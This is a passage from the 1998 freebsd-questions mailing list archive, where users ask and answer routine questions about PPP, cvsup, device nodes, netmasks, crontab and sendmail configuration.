From owner-freebsd-questions Sun Apr 5 00:12:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA14032 for freebsd-questions-outgoing; Sun, 5 Apr 1998 00:12:12 -0800 (PST) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from webpoint.guelph.on.ca (webpoint.guelph.on.ca [199.212.135.209]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA13983 for ; Sun, 5 Apr 1998 00:12:02 -0800 (PST) (envelope-from dusty@webpoint.net) Received: from WebPoint.webpoint.net (p9.webpoint.guelph.on.ca [199.212.135.218]) by webpoint.guelph.on.ca (8.7.5/8.7.3) with ESMTP id EAA15274 for ; Sun, 5 Apr 1998 04:14:54 -0400 (EDT) Message-ID: <35276689.3F0B53F6@webpoint.net> Date: Sun, 05 Apr 1998 04:10:01 -0700 From: Creig Eckersley X-Mailer: Mozilla 4.01 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Need Help X-Priority: 3 (Normal) Content-Type: multipart/mixed; boundary="------------0EC3F15BEC458032706FE515" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------0EC3F15BEC458032706FE515 Content-Type: text/plain; charset=us-ascii Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Can't find ifindex Tun 11 is the error we receive when device tun 11 is needed running PPP connection even though tun 11 is present will open it and then states it is busy at times version 2.1.5 thank you creig --------------0EC3F15BEC458032706FE515 Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Creig Eckersley Content-Disposition: attachment; filename="vcard.vcf" begin: vcard fn: Creig Eckersley n: Eckersley;Creig org: WebPoint Communications adr: 160 Woolwich Street;;RR#4 Kenilworth Ontario NOG 2E0 Canada;Guelph;Ontario;N1H 3V3;Canada email;internet: dusty@webpoint.net title: Owner tel;work: (519)763-4906 tel;fax: None tel;home: (519)848-3303 x-mozilla-cpt: ;0 x-mozilla-html: FALSE end: vcard --------------0EC3F15BEC458032706FE515-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 00:35:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA16602 for freebsd-questions-outgoing; Sun, 5 Apr 1998 00:35:13 -0800 (PST) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kurume.ktarn.or.jp (root@kurume.ktarn.or.jp [202.214.38.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA16597 for ; Sun, 5 Apr 1998 00:35:08 -0800 (PST) (envelope-from higasi@kurume.ktarn.or.jp) Received: from default (ppp10.dp.ktarn.or.jp [202.214.38.43]) by kurume.ktarn.or.jp (8.8.8+2.7Wbeta7/3.6W) with ESMTP id RAA19489 for ; Sun, 5 Apr 1998 17:29:47 +0900 (JST) Message-Id: <199804050829.RAA19489@kurume.ktarn.or.jp> From: "=?ISO-2022-JP?B?GyRCRWwbKEogIBskQjdJP00bKEo=?=" To: Subject: =?ISO-2022-JP?B?RnJlZUJTRBskQiROJVUlISUkJWskTkJnJC0kNSRLJEQkJCRGJE48QUxkGyhK?= Date: Sun, 5 Apr 1998 17:42:18 +0900 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1157 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG $B:#EY#F#r#e#e#B#S#D$r(J2]=D0Y$B$7$h$&$H;W$C$F$$$^$9!#(J $B#F#r#e#e#B#S#D$r#F#T#P$+$iF~ Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA18388 for freebsd-questions-outgoing; Sun, 5 Apr 1998 01:02:28 -0800 (PST) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ds9.lesn.lehigh.edu (mistwolf@ds9.lesn.Lehigh.EDU [128.180.70.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA18383 for ; Sun, 5 Apr 1998 01:02:24 -0800 (PST) (envelope-from mistwolf@ds9.lesn.lehigh.edu) Received: (from mistwolf@localhost) by ds9.lesn.lehigh.edu (8.7.5/8.7.3) id FAA00566 for freebsd-questions@freebsd.org; Sun, 5 Apr 1998 05:02:17 -0400 From: Jamie Norwood Message-Id: <199804050902.FAA00566@ds9.lesn.lehigh.edu> Subject: CVSUP questions. To: freebsd-questions@FreeBSD.ORG Date: Sun, 5 Apr 1998 01:02:16 -0800 (PST) X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG OK, as I did once screw this up, I ask now for your aid. First, I am running 2.2.6-release. I downloaded, compiled, and installed cvsup. I set up a supfile, and grabbed the source from it. However, I am not entirely confident that the source is what I want it to be (2.2.6 as opposed to 3.0), as when I ran this before it erased a good chunk of my ports directory (All the makefiles and so on.) So, with the below supfile, will I have a stable version of the -release code, or will it be 3.0? And how can I check my ports tree with the latest available for 2.2.6? Thanks, Jamie -- +-------------------------------------------------------------------------+ | The shadows of life cover the sunlight of the soul, and block out the | | radiance that all have within them, leaving only darkness behind. | +----------------------------+-------------------+------------------------+ |mistwolf@ds9.lesn.lehigh.edu|mistwolf@priori.net|mistwolf@lightbearer.com| +----------------------------+-------------------+------------------------+ supfile: *default host=cvsup.FreeBSD.org *default base=/usr *default prefix=/usr *default release=cvs tag=RELENG_2_2 *default delete use-rel-suffix *default compress src-all src-crypto src-eBones src-secure #ports-all To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 01:47:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA22563 for freebsd-questions-outgoing; Sun, 5 Apr 1998 01:47:51 -0800 (PST) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from python.shoal.net.au (perrya@python.shoal.net.au [203.26.44.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA22557 for ; Sun, 5 Apr 1998 01:47:47 -0800 (PST) (envelope-from perrya@python.shoal.net.au) Received: from localhost (perrya@localhost) by python.shoal.net.au (8.8.6/8.8.5) with SMTP id TAA16240; Sun, 5 Apr 1998 19:47:20 +1000 (EST) Date: Sun, 5 Apr 1998 19:47:20 +1000 (EST) From: Andrew To: Evren Yurtesen cc: freebsd-questions@FreeBSD.ORG Subject: Re: serious problem! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I usually do sh MAKEDEV vty12 I think this acts as a front end for mknod Andrew Perry > > reactor:/dev>./MAKEDEV ttyp0 ttyp1 ttyp2 ttyp3 ttyp4 > ttyp0 - no such device name > ttyp1 - no such device name > ttyp2 - no such device name > ttyp3 - no such device name > ttyp4 - no such device name > reactor:/dev> > > I have just fixed it with mknod command > > mknod ttyp0 c 5 0 > mknod ttyp1 c 5 1 > mknod ttyp2 c 5 2 > > thanks for everyone! > > PS.I got scared so badly at first! > > +--------------------------------------------------------+ > | Name : Evren Yurtesen - yurtesen@ispro.net.tr | > | S-mail: Mithatpasa Cad. No:1079/13 35290 Guzelyali | > | Home:+90-232-2857604 Work:+90-232-2463992 Izmir/TURKEY | > +--------------------------------------------------------+ > > On Sat, 4 Apr 1998, Joe "Marcus" Clarke wrote: > > > Use the /dev/MAKEDEV script to recreate devices. Type: > > > > /dev/MAKEDEV ttyp0 ttyp1 ttyp2 > > > > Joe Clarke > > > > On Sun, 5 Apr 1998, Evren Yurtesen wrote: > > > > > hello > > > accidentally I have deleted > > > > > > /dev/ttyp0 > > > /dev/ttyp1 > > > /dev/ttyp2 > > > . > > > . > > > . > > > > > > how can I create them again??? > > > I need a quick help! > > > > > > > > > > > > +--------------------------------------------------------+ > > > | Name : Evren Yurtesen - yurtesen@ispro.net.tr | > > > | S-mail: Mithatpasa Cad. No:1079/13 35290 Guzelyali | > > > | Home:+90-232-2857604 Work:+90-232-2463992 Izmir/TURKEY | > > > +--------------------------------------------------------+ > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-questions" in the body of the message > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 03:09:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA25740 for freebsd-questions-outgoing; Sun, 5 Apr 1998 03:09:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from osage.gate.net (root@osage.gate.net [198.206.134.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA25734 for ; Sun, 5 Apr 1998 03:09:04 -0700 (PDT) (envelope-from ebpeterkin@softhome.net) Received: from trevor1.gate.net (miafl2-24.gate.net [199.227.35.87]) by osage.gate.net (8.8.6/8.6.12) with SMTP id GAA219450 for ; Sun, 5 Apr 1998 06:08:37 -0400 Message-ID: <000101bd6072$7a7702c0$0300a8c0@trevor1.gate.net> From: "Ellon Peterkin" To: Subject: PPP Date: Sun, 5 Apr 1998 05:09:01 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am running FreeBSD 2.2.5Rel...and I get PPP to work perfectly on this machine...however when I set this machine up on a network with win95 clients and set gateway = "yes" and run ppp using ppp -auto -alias myisp and set the Windows95 clients gateway setting to the IP of the this FreeBSD box. The BSD box will not try to connect whenever I try to access the net...and this is something that I've gotten to work quite a few times in the past.....Can anyone help me out here? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 03:25:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id DAA27900 for freebsd-questions-outgoing; Sun, 5 Apr 1998 03:25:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jaguar.ir.miami.edu (jaguar.ir.miami.edu [129.171.32.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id DAA27895 for ; Sun, 5 Apr 1998 03:25:28 -0700 (PDT) (envelope-from marcus@miami.edu) Received: from localhost by jaguar.ir.miami.edu (PMDF V5.1-10 #24029) with SMTP id <0EQX00501RMC5F@jaguar.ir.miami.edu> for freebsd-questions@freebsd.org; Sun, 5 Apr 1998 06:25:24 -0400 (EDT) Date: Sun, 05 Apr 1998 06:25:23 -0400 (EDT) From: "Joe \"Marcus\" Clarke" Subject: Console screen shot To: FreeBSD User Questions List Message-id: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Is there any way to get a screen shot of the console in full color mode? Joe Clarke To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 04:37:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA08461 for freebsd-questions-outgoing; Sun, 5 Apr 1998 04:37:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kaschynna.com (kaschynna.com [206.63.164.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA08456 for ; Sun, 5 Apr 1998 04:37:51 -0700 (PDT) (envelope-from flerll@kaschynna.com) Received: from localhost (flerll@localhost) by kaschynna.com (8.8.8/8.8.8) with SMTP id EAA22580; Sun, 5 Apr 1998 04:25:57 -0700 (PDT) Date: Sun, 5 Apr 1998 04:25:57 -0700 (PDT) From: Jerry Blancher To: "M. Monninger" cc: Dan Busarow , "freebsd-questions@FreeBSD.ORG" Subject: Re: Invalid netmask? In-Reply-To: <3.0.5.32.19980404121813.009ae350@pop.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, M. Monninger wrote: > At 10:52 AM 4/4/98 -0800, Dan Busarow wrote: > >On Sat, 4 Apr 1998, M. Monninger wrote: > >> Question: Is a netmask of 255.255.255.255 valid? > > > >Perfectly valid. > > > >Send the usual netstat -in and netstat -rn output with the > >255.255.255.255 netmask in place. > > > >Dan > With one provider that I go through, they told me to use netmask 255.255.254.0, the first time I tried to set up my server at this provider(version 2.2.5-RELEASE), we fought for a week trying to get the server to connect to the provider, untill I got upset at them telling me what I was suppose to use, and used 255.255.255.0 (which they claimed didn't even exist anymore) and I connected fine. Then set up second server on them (version 2.2.6-RELEASE) and remembered the netmask thing and had the os installed over the net, kernel re-built and rockin in under an hour. Then I tried setting up a server(version 2.2.6) at anouther provider and spent 3 day's listining to how the set-up should work, and basically knowing how FBSD's error messages corrispond to actual problems, I finally told them that they needed to give me the correct gateway number. They apperently was giving me the gateway number of a different set-up. Mind you, Window's NT and other OS's like Linux and stuff could use that gateway (and they showed me to prove it), but FBSD is REAL picky about the mubers that you give it. Particuarly I have found with the gateway's use the first 3 numbers they give you as a IP number and use 1 as the forth (ie. ?.?.?.1). Don't know if that is correct, but from all the set-up's I've seen, that seems to be a safe starting point, that and 255.255.255.0 is a safe starting point for netmask. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 06:11:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA16857 for freebsd-questions-outgoing; Sun, 5 Apr 1998 06:11:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA16849 for ; Sun, 5 Apr 1998 06:11:20 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node49.mpc.com.br [200.246.0.49]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id KAA13948; Sun, 5 Apr 1998 10:11:10 -0300 (EST) Message-Id: <3.0.32.19980405220645.00a9f4f0@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 05 Apr 1998 22:07:05 -0300 To: Wilfredo Sanchez From: Capriotti Subject: Re: FreeBSD and Rhapsody Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 08:46 PM 4/4/98 -0800, Wilfredo Sanchez wrote: >Howdy- > > I'm having a hard time figuring out how one becomes a FreeBSD developer >from your web site, so perhaps you guys can help me out. I work for Apple >Computer, and as you may know, we're building this operating system with >the code name Rhapsody. Rhapsody has a full BSD subsystem in it, and we'd >like to get a relationship going with FreeBSD if the FreeBSD team is >interested. Hi, Fred. It's good to see a latin guy working for Apple ! (Saludos) In case you didn't receive a direct answer from anyone (I didn't check the "-hackers" list) allow me to do it. [below is my personal opinion] Indeed, any relationship with the industry that leads FreeBSD to be better known by ppl is good and we look foward it. Apple - which lives in my heart, sharing space w/ FreeBSD (I work w/ a PMAC for graphics) - will be very welcome to our group, not only as a company, but its staff, as individulas are very welcome too. Now, this list you wrote to is a list where ppl make question and solve problems. The ppl who can officially welcome you as Apple's representative are the guys from hackers@freebsd.org. Your email was FWDed to that list by Sean Harding , and I believe soon you will be receiving a response. Best regards, and one more time, be welcome. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 06:55:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA20233 for freebsd-questions-outgoing; Sun, 5 Apr 1998 06:55:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bartman.ic.sunysb.edu (bartman.ic.sunysb.edu [129.49.12.170]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA20207 for ; Sun, 5 Apr 1998 06:55:10 -0700 (PDT) (envelope-from jsabella@ic.sunysb.edu) Received: from ic.sunysb.edu (as4-25.dialup.sunysb.edu [129.49.81.31]) by bartman.ic.sunysb.edu (8.8.7/8.8.3) with ESMTP id JAA29760; Sun, 5 Apr 1998 09:55:01 -0400 (EDT) Message-ID: <35278D29.264687C@ic.sunysb.edu> Date: Sun, 05 Apr 1998 09:54:49 -0400 From: Jason Sabella X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: Doug White CC: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD installation References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You are right Doug, it is reading my zip disk (which is 100mb like you said). I watched closely at boot up, and it said wd2 is my zip drive. I checked, and fdisk does not prompt you as to what disk you want to use. And I went through the installation options and that is not one of them. All it has is novice, custom, and expert installations. All do pretty much the same and take you right into fdisk. There is no option in fdisk to change disk. I've even tried pressing every key on the keyboard in fdisk, thinking maybe its just not listed...It's so weird, any suggestions? Jason Sabella --- Doug White wrote: > > On Fri, 3 Apr 1998, Jason Sabella wrote: > > > Hi Doug. I only have the one hard 6.4 GIG hard drive. I don't know > > what that "wd2" is. Is that possibly a wrong partition? Is there a way > > to change it to a different "wd" in the install program(if such a thing > > exists). My current configuration is this: > > You should be prompted before going into fdisk for which disk you want. > > Post your boot message output again. > > > But the installation program still says: > > Disk name: wd2 <<----- > > Disk Geometry: 512 cyls/12 heads/32 sectors = 196608 sectors > > Offset Size End Name Ptype Desc Subtype Flags > > 0 32 31 - 6 unused 0 > > 32 196192 196223 wd2s1 2 fat 6 = > > 196224 384 196607 - 6 unused 0 > > Hm, 196608 * 512 bytes == 100663296 bytes, or a 100mb drive. > > Doug White | University of Oregon > Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant > http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:17:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA22627 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:17:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from flint.cyweb.com (root@cyweb.com [209.83.135.130]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA22622 for ; Sun, 5 Apr 1998 07:17:36 -0700 (PDT) (envelope-from harry@visiontm.com) Received: from hp.harry.com (dial-44.r05.scbuft.InfoAve.Net [207.144.97.244]) by flint.cyweb.com (8.8.0/8.6.9) with SMTP id JAA27744; Sun, 5 Apr 1998 09:27:07 -0500 From: "Harry Patterson" To: "freebsd-questions" , "stephen farrell" Subject: Re: crontab problems Date: Sun, 5 Apr 1998 10:15:05 -0400 Message-ID: <01bd609d$3b380160$f46190cf@hp.harry.com> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1712.3 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >The format for root's crontab and /etc/crontab are different. in >particular, the /etc/crontab file needs to list who the process runs >as (e.g., root). Sounds like you're using the format for /etc/crontab >in root's crontab entry... I've read and re-read the man pages and can't find the distinction between root's crontab and /etc/crontab (user level differences are obvious with the user field removed) . I assumed that the only way to change the "system" crontab was to edit it as root and perform a "crontab crontab" as root. Is there a different way? How does the system crontab take effect and how do you change it? Thanks in advance. Sincerely, Harry Patterson ----------------------------------------------------- Vision Technology Management Web Presence, On-Line Malls, & Business Cards FREE E-Mail Technology Newsletter >(hopeI got the attribution right?) > >> > I am having trouble with cron. I have Freebsd 2.2.5. The daily, weekly and >> > monthly processes work fine, but several days ago I started to get error >> > message in root's mail (see below) stating "root: not found" whenever it >> > tries to run atrun or newsyslog. I've included a sample from the cron log >> > file, the crontab file itself and the mail message. The atrun and newsyslog >> > files are in the directories that the crontab file is pointing to. It's the >> > root crontab file, so I don't think it's a rights issue. I'm at a loss as to >> > what it's trying to tell me and how to fix it. >> > >> > Could someone point me in the right direction? > > >-- > >Steve Farrell > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:19:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA23104 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:19:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hotmail.com (f150.hotmail.com [207.82.251.29]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id HAA23076 for ; Sun, 5 Apr 1998 07:19:38 -0700 (PDT) (envelope-from ikaros_net@hotmail.com) Received: (qmail 3230 invoked by uid 0); 5 Apr 1998 14:19:07 -0000 Message-ID: <19980405141907.3229.qmail@hotmail.com> Received: from 130.244.122.142 by www.hotmail.com with HTTP; Sun, 05 Apr 1998 07:19:07 PDT X-Originating-IP: [130.244.122.142] From: "Martin Von_Schantz" To: questions@FreeBSD.ORG Subject: ip Content-Type: text/plain Date: Sun, 05 Apr 1998 07:19:07 PDT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone know how to set a static ip adress to my system? And how do I avoid the modem connection from having that ip when I call my ISP (I just wan't the network to have the adress)? //Martin von Schantz ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:23:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA24019 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:23:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from minotaur.labyrinth.net.au (minotaur.labyrinth.net.au [203.9.148.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA23999 for ; Sun, 5 Apr 1998 07:23:45 -0700 (PDT) (envelope-from ashley@labyrinth.net.au) Received: (from uucp@localhost) by minotaur.labyrinth.net.au (8.8.6/8.8.6) id AAA25685 for questions@freebsd.org; Mon, 6 Apr 1998 00:56:11 +1000 (EST) Received: from minerva-as2.labyrinth.net.au(203.23.74.2), claiming to be "insomnia.org.au" via SMTP by minotaur.labyrinth.net.au, id smtpdAAAa25682; Mon Apr 6 00:56:07 1998 Date: Mon, 6 Apr 1998 00:23:43 +1000 (EST) From: Ashley X-Sender: ashley@insomnia.org.au To: questions@FreeBSD.ORG Subject: hostname/sendmail question... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi. i am having difficulties getting my system to work correctly when sending mail. pine works fine, and other programs that send using their own mechanisms. however, using slrn, elm, etc when i send an email it bounces back with the following errors.... i tried editing the sendmail.cf file. all i got from fiddling with that was it ended up thinking i was my isp (labyrinth.net.au) so mail to that domain all came back to me. any help greatly appreciated!! Ciao. Ashley. start---------------- Date: Mon, 6 Apr 1998 00:19:21 +1000 (EST) To: ashley Subject: Returned mail: User unknown Auto-Submitted: auto-generated (failure) [Part #1: Type: text/plain, Encoding: 7bit, Size: 489] The original message was received at Mon, 6 Apr 1998 00:19:17 +1000 (EST) from ashley@localhost ----- The following addresses had permanent fatal errors ----- ashley@labyrinth.net.au ----- Transcript of session follows ----- ... while talking to minotaur.labyrinth.net.au.: >>> RCPT To: <<< 550 Sorry, your FROM address () is invalid. Please v erify this e-mail address before re-sending. 550 ashley@labyrinth.net.au... User unknown [Part #2: Type: message/delivery-status, Encoding: 7bit, Size: 409] Reporting-MTA: dns; insomnia.org.au Arrival-Date: Mon, 6 Apr 1998 00:19:17 +1000 (EST) Final-Recipient: RFC822; ashley@labyrinth.net.au Action: failed Status: 5.1.1 Remote-MTA: DNS; minotaur.labyrinth.net.au Diagnostic-Code: SMTP; 550 Sorry, your FROM address () i s invalid. Please verify this e-mail address before re-sending. Last-Attempt-Date: Mon, 6 Apr 1998 00:19:20 +1000 (EST) [Part #3: Type: message/rfc822, Encoding: 7bit, Size: 511] -- Start of included mail From: ashley Return-path: Subject: test To: ashley@labyrinth.net.au (Ashley Pirovich) Date: Mon, 6 Apr 1998 00:19:16 +1000 (EST) work! -- End of included mail. finish------------ ================================================================= ashley@labyrinth.net.au http://www.labyrinth.net.au/~pirovich "When you have nothing to say, say nothing." Charles Caleb Colton ================================================================= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:26:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA24493 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:26:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA24464 for ; Sun, 5 Apr 1998 07:25:59 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id JAA00111; Sun, 5 Apr 1998 09:25:57 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id JAA22521; Sun, 5 Apr 1998 09:25:55 -0500 (CDT) To: "Harry Patterson" Cc: "freebsd-questions" Subject: Re: crontab problems References: <01bd609d$3b380160$f46190cf@hp.harry.com> From: sfarrell+list@farrell.org Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 05 Apr 1998 09:25:55 -0500 In-Reply-To: "Harry Patterson"'s message of "Sun, 5 Apr 1998 10:15:05 -0400" Message-ID: <87zpi02vm4.fsf@phaedrus.uchicago.edu> Lines: 24 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Harry Patterson" writes: > I've read and re-read the man pages and can't find the distinction between > root's crontab and /etc/crontab (user level differences are obvious with the > user field removed) . I assumed that the only way to change the "system" > crontab was to edit it as root and perform a "crontab crontab" as root. Is > there a different way? How does the system crontab take effect and how do > you change it? kill -HUP the cron daemon to get it to reread /etc/crontab. Well, it's kind of well hidden (i.e., amazingly poorly worded) in man 5 crontab: The format of a cron command is very much the V7 standard, with a number of upward-compatible extensions. Each line has five time and date fields, followed by a user name (with optional ``:'' and ``/'' suffixes) if this is the system crontab file, followed by a command. -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 07:28:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA25030 for freebsd-questions-outgoing; Sun, 5 Apr 1998 07:28:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from bartman.ic.sunysb.edu (bartman.ic.sunysb.edu [129.49.12.170]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA25001 for ; Sun, 5 Apr 1998 07:28:09 -0700 (PDT) (envelope-from jsabella@ic.sunysb.edu) Received: from ic.sunysb.edu (as4-23.dialup.sunysb.edu [129.49.81.29]) by bartman.ic.sunysb.edu (8.8.7/8.8.3) with ESMTP id KAA00451; Sun, 5 Apr 1998 10:28:01 -0400 (EDT) Message-ID: <352794E6.6189D6BD@ic.sunysb.edu> Date: Sun, 05 Apr 1998 10:27:50 -0400 From: Jason Sabella X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: Doug White , freebsd-questions@FreeBSD.ORG Subject: New information... References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Doug. 